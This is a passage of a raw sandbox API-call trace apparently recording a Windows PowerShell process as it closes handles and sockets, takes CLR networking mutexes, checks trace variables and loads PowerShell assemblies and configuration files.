[0131.962] CloseHandle (hObject=0x404) returned 1 [0131.962] CertCloseStore (hCertStore=0x40f210, dwFlags=0x0) returned 1 [0131.963] CloseHandle (hObject=0x3b4) returned 1 [0131.963] CloseHandle (hObject=0x394) returned 1 [0131.963] CloseHandle (hObject=0x374) returned 1 [0131.964] CloseHandle (hObject=0x370) returned 1 [0131.964] CertFreeCRLContext (pCrlContext=0x1b8a6bc0) returned 1 [0131.964] CloseHandle (hObject=0x36c) returned 1 [0131.964] CloseHandle (hObject=0x4b8) returned 1 [0131.964] CloseHandle (hObject=0x360) returned 1 [0131.965] CloseHandle (hObject=0x35c) returned 1 [0131.965] CloseHandle (hObject=0x3a4) returned 1 [0131.965] CloseHandle (hObject=0x3a0) returned 1 [0131.966] CloseHandle (hObject=0x4c0) returned 1 [0131.966] CloseHandle (hObject=0x34c) returned 1 [0131.966] CloseHandle (hObject=0x1d0) returned 1 [0131.966] CloseHandle (hObject=0x1cc) returned 1 [0131.967] CertFreeCRLContext (pCrlContext=0x1b8a6c40) returned 1 [0131.967] CloseHandle (hObject=0x1c8) returned 1 [0133.539] LocalFree (hMem=0x41e8e0) returned 0x0 [0133.540] LocalFree (hMem=0x41e7d0) returned 0x0 [0133.541] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33d4638, cbSid=0x1b56eb10 | out: pSid=0x33d4638*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b56eb10) returned 1 [0133.541] CreateMutexW (lpMutexAttributes=0x33d47f0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x458 [0133.541] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0x1f4) returned 0x0 [0133.542] ReleaseMutex (hMutex=0x458) returned 1 [0133.542] CloseHandle (hObject=0x458) returned 1 [0133.542] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33d4b48, cbSid=0x1b56eb10 | out: pSid=0x33d4b48*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b56eb10) returned 1 [0133.542] CreateMutexW (lpMutexAttributes=0x33d4d00, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x458 [0133.542] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0x1f4) returned 0x0 [0133.542] ReleaseMutex (hMutex=0x458) returned 1 [0133.542] CloseHandle (hObject=0x458) returned 1 [0133.542] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33d5058, cbSid=0x1b56eb10 | out: pSid=0x33d5058*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b56eb10) returned 1 [0133.543] CreateMutexW (lpMutexAttributes=0x33d5210, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x458 [0133.543] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0x1f4) returned 0x0 [0133.543] ReleaseMutex (hMutex=0x458) returned 1 [0133.543] CloseHandle (hObject=0x458) returned 1 [0133.543] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33d5568, cbSid=0x1b56eb10 | out: pSid=0x33d5568*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b56eb10) returned 1 [0133.543] CreateMutexW (lpMutexAttributes=0x33d5720, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x458 [0133.543] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0x1f4) returned 0x0 [0133.543] ReleaseMutex (hMutex=0x458) returned 1 [0133.544] CloseHandle (hObject=0x458) returned 1 [0133.544] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x33d5a78, cbSid=0x1b56eb40 | out: pSid=0x33d5a78*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b56eb40) returned 1 [0133.544] CreateMutexW (lpMutexAttributes=0x33d5c30, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x458 [0133.544] WaitForSingleObject (hHandle=0x458, dwMilliseconds=0x1f4) returned 0x0 [0133.544] ReleaseMutex (hMutex=0x458) returned 1 [0133.544] CloseHandle (hObject=0x458) returned 1 [0133.545] DeleteAtom (nAtom=0xc000) returned 0x0 [0133.642] FindAtomW (lpString="GDI+Atom_2908_1") returned 0x0 [0133.648] DeregisterEventSource (hEventLog=0x1b960008) returned 1 [0133.664] setsockopt (s=0x4c8, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0133.665] closesocket (s=0x4c8) returned 0 [0133.678] FindAtomW (lpString="GDI+Atom_2908_1") returned 0x0 [0133.695] DeleteSecurityContext (phContext=0x1b56e870) returned 0x0 [0133.695] CloseHandle (hObject=0x3e0) returned 1 [0133.696] CloseHandle (hObject=0x3dc) returned 1 [0133.696] CloseHandle (hObject=0x6c0) returned 1 [0133.696] CloseHandle (hObject=0xf) returned 1 [0133.697] CloseHandle (hObject=0x454) returned 1 [0133.697] UnmapViewOfFile (lpBaseAddress=0x2970000) returned 1 [0133.698] CloseHandle (hObject=0x410) returned 1 [0133.698] CloseHandle (hObject=0x450) returned 1 [0133.698] RegCloseKey (hKey=0x44c) returned 0x0 [0133.699] CloseHandle (hObject=0x448) returned 1 [0133.699] RegCloseKey (hKey=0x444) returned 0x0 [0133.700] CloseHandle (hObject=0x440) returned 1 [0133.700] RegCloseKey (hKey=0x43c) returned 0x0 [0133.700] RegCloseKey (hKey=0x438) returned 0x0 [0133.700] CloseHandle (hObject=0x420) returned 1 [0133.701] CloseHandle (hObject=0x30c) returned 1 [0133.701] CloseHandle (hObject=0x39c) returned 1 [0133.701] CloseHandle (hObject=0x398) returned 1 [0133.702] CloseHandle (hObject=0x378) returned 1 [0133.702] CloseHandle (hObject=0x3ac) returned 1 [0133.702] CloseHandle (hObject=0x390) returned 1 [0133.702] CloseHandle (hObject=0x38c) returned 1 [0133.703] CloseHandle (hObject=0x388) returned 1 [0133.703] CloseHandle (hObject=0x384) returned 1 [0133.703] CloseHandle (hObject=0x380) returned 1 [0133.703] CloseHandle (hObject=0x37c) returned 1 [0133.704] CloseHandle (hObject=0x358) returned 1 [0133.704] CloseHandle (hObject=0x3a8) returned 1 [0133.704] FreeCredentialsHandle (phCredential=0x1b56e8a0) returned 0x0 [0133.705] setsockopt (s=0x418, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0133.705] closesocket (s=0x418) returned 0 [0133.705] CloseHandle (hObject=0x41c) returned 1 [0133.706] setsockopt (s=0x40c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0133.706] closesocket (s=0x40c) returned 0 [0133.706] CloseHandle (hObject=0x414) returned 1 [0133.707] setsockopt (s=0x4dc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0133.707] closesocket (s=0x4dc) returned 0 [0133.707] CloseHandle (hObject=0x4e0) returned 1 [0133.708] RegCloseKey (hKey=0x370) returned 0x0 [0133.708] setsockopt (s=0x4d4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0133.708] closesocket (s=0x4d4) returned 0 [0133.708] CloseHandle (hObject=0x4bc) returned 1 [0133.709] CloseHandle (hObject=0x36c) returned 1 [0133.709] CloseHandle (hObject=0x4b8) returned 1 [0133.709] CloseHandle (hObject=0x360) returned 1 [0133.710] CloseHandle (hObject=0x35c) returned 1 [0133.710] CloseHandle (hObject=0x3a4) returned 1 [0133.710] CloseHandle (hObject=0x3a0) returned 1 [0133.710] CloseHandle (hObject=0x4c0) returned 1 [0133.711] CloseHandle (hObject=0x34c) returned 1 [0133.711] CloseHandle (hObject=0x3fc) returned 1 [0133.711] CloseHandle (hObject=0x320) returned 1 [0133.711] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0133.712] CloseHandle (hObject=0x2f0) returned 1 [0133.712] UnmapViewOfFile (lpBaseAddress=0x1f00000) returned 1 [0133.713] CloseHandle (hObject=0x32c) returned 1 [0133.713] CloseHandle (hObject=0x3e8) returned 1 Thread: id = 120 os_tid = 0x824 [0119.769] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.787] SetThreadUILanguage (LangId=0x0) returned 0x7fffffa0409 [0119.850] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.850] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.850] CoTaskMemFree (pv=0x41e9f0) [0119.852] VirtualQuery (in: lpAddress=0x1c74dd20, lpBuffer=0x1c74ebe0, dwLength=0x30 | out: lpBuffer=0x1c74ebe0*(BaseAddress=0x1c74d000, AllocationBase=0x1bdc0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0119.932] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.932] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.932] CoTaskMemFree (pv=0x41e9f0) [0119.934] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.934] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.934] CoTaskMemFree (pv=0x41e9f0) [0119.936] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.936] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.937] CoTaskMemFree (pv=0x41e9f0) [0119.966] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.966] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.966] CoTaskMemFree (pv=0x41e9f0) [0119.968] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.968] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.968] CoTaskMemFree (pv=0x41e9f0) [0119.970] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.970] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.970] CoTaskMemFree (pv=0x41e9f0) [0120.026] VirtualQuery (in: lpAddress=0x1c74dfd0, lpBuffer=0x1c74ee90, dwLength=0x30 | out: lpBuffer=0x1c74ee90*(BaseAddress=0x1c74d000, AllocationBase=0x1bdc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0120.026] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.027] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.027] CoTaskMemFree (pv=0x41e9f0) [0120.029] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.029] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.029] CoTaskMemFree (pv=0x41e9f0) [0120.030] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.030] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.030] CoTaskMemFree (pv=0x41e9f0) [0120.031] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.031] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.031] CoTaskMemFree (pv=0x41e9f0) [0120.037] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.037] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.037] CoTaskMemFree (pv=0x41e9f0) [0120.132] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.132] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.132] CoTaskMemFree (pv=0x41e9f0) [0120.134] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.134] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.135] CoTaskMemFree (pv=0x41e9f0) [0120.136] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.136] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.136] CoTaskMemFree (pv=0x41e9f0) [0120.139] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.139] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.139] CoTaskMemFree (pv=0x41e9f0) [0120.141] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.141] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.141] CoTaskMemFree (pv=0x41e9f0) [0120.142] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.143] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.143] CoTaskMemFree (pv=0x41e9f0) [0120.144] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.144] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.144] CoTaskMemFree (pv=0x41e9f0) [0120.214] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.214] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.214] CoTaskMemFree (pv=0x41e9f0) [0120.274] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.274] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.274] CoTaskMemFree (pv=0x41e9f0) [0120.323] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.323] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.323] CoTaskMemFree (pv=0x41e9f0) [0120.480] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.480] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.480] CoTaskMemFree (pv=0x41e9f0) [0120.801] VirtualQuery (in: lpAddress=0x1c74d5f0, lpBuffer=0x1c74e4b0, dwLength=0x30 | out: lpBuffer=0x1c74e4b0*(BaseAddress=0x1c74d000, AllocationBase=0x1bdc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0120.882] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0120.882] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0120.882] CoTaskMemFree (pv=0x41e9f0) [0125.614] VirtualQuery (in: lpAddress=0x1c74cf80, lpBuffer=0x1c74de40, dwLength=0x30 | out: lpBuffer=0x1c74de40*(BaseAddress=0x1c74c000, AllocationBase=0x1bdc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0125.640] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0125.641] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0125.641] CoTaskMemFree (pv=0x41e9f0) [0125.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c74d350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0125.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c74d2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0125.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c74d2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0125.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c74d2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0125.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c74d330, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0125.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c74d280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0125.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c74d280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0125.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c74d240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0125.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c74d190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0125.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c74d190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0125.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c74d190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0126.069] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c74c980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0127.068] CoTaskMemAlloc (cb=0x20c) returned 0x1b87de70 [0127.068] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b87de70, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\poWerSHell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0127.068] CoTaskMemFree (pv=0x1b87de70) [0127.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\poWerSHell.exe", nBufferLength=0x105, lpBuffer=0x1c74cbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\poWerSHell.exe", lpFilePart=0x0) returned 0x39 [0127.075] GetCurrentProcess () returned 0xffffffffffffffff [0127.076] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74cb28 | out: TokenHandle=0x1c74cb28*=0x1c8) returned 1 [0127.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c74c780, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0127.082] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c74cbd0 | out: lpFileInformation=0x1c74cbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0127.083] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c74c720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0127.084] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c74cb80 | out: lpFileInformation=0x1c74cb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0127.085] GetFileSize (in: hFile=0x1cc, lpFileSizeHigh=0x1c74cb78 | out: lpFileSizeHigh=0x1c74cb78*=0x0) returned 0x65b3 [0127.085] ReadFile (in: hFile=0x1cc, lpBuffer=0x31a6fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c74ca98, lpOverlapped=0x0 | out: lpBuffer=0x31a6fd8*, lpNumberOfBytesRead=0x1c74ca98*=0x1000, lpOverlapped=0x0) returned 1 [0127.100] CoTaskMemAlloc (cb=0x20c) returned 0x1b87de70 [0127.100] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b87de70, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\poWerSHell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0127.101] CoTaskMemFree (pv=0x1b87de70) [0127.101] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\poWerSHell.exe", nBufferLength=0x105, lpBuffer=0x1c74cbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\poWerSHell.exe", lpFilePart=0x0) returned 0x39 [0127.101] GetCurrentProcess () returned 0xffffffffffffffff [0127.101] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74cd88 | out: TokenHandle=0x1c74cd88*=0x1cc) returned 1 [0127.102] GetCurrentProcess () returned 0xffffffffffffffff [0127.102] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74cd88 | out: TokenHandle=0x1c74cd88*=0x1d0) returned 1 [0127.103] GetCurrentProcess () returned 0xffffffffffffffff [0127.103] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74cb28 | out: TokenHandle=0x1c74cb28*=0x34c) returned 1 [0127.103] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\poWerSHell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1c74cbd0 | out: lpFileInformation=0x1c74cbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0127.104] GetCurrentProcess () returned 0xffffffffffffffff [0127.104] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74cd88 | out: TokenHandle=0x1c74cd88*=0x3a0) returned 1 [0127.104] GetCurrentProcess () returned 0xffffffffffffffff [0127.104] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74cd88 | out: TokenHandle=0x1c74cd88*=0x3a4) returned 1 [0127.121] GetCurrentProcess () returned 0xffffffffffffffff [0127.121] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74ca08 | out: TokenHandle=0x1c74ca08*=0x35c) returned 1 [0127.146] GetCurrentProcess () returned 0xffffffffffffffff [0127.147] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74ca08 | out: 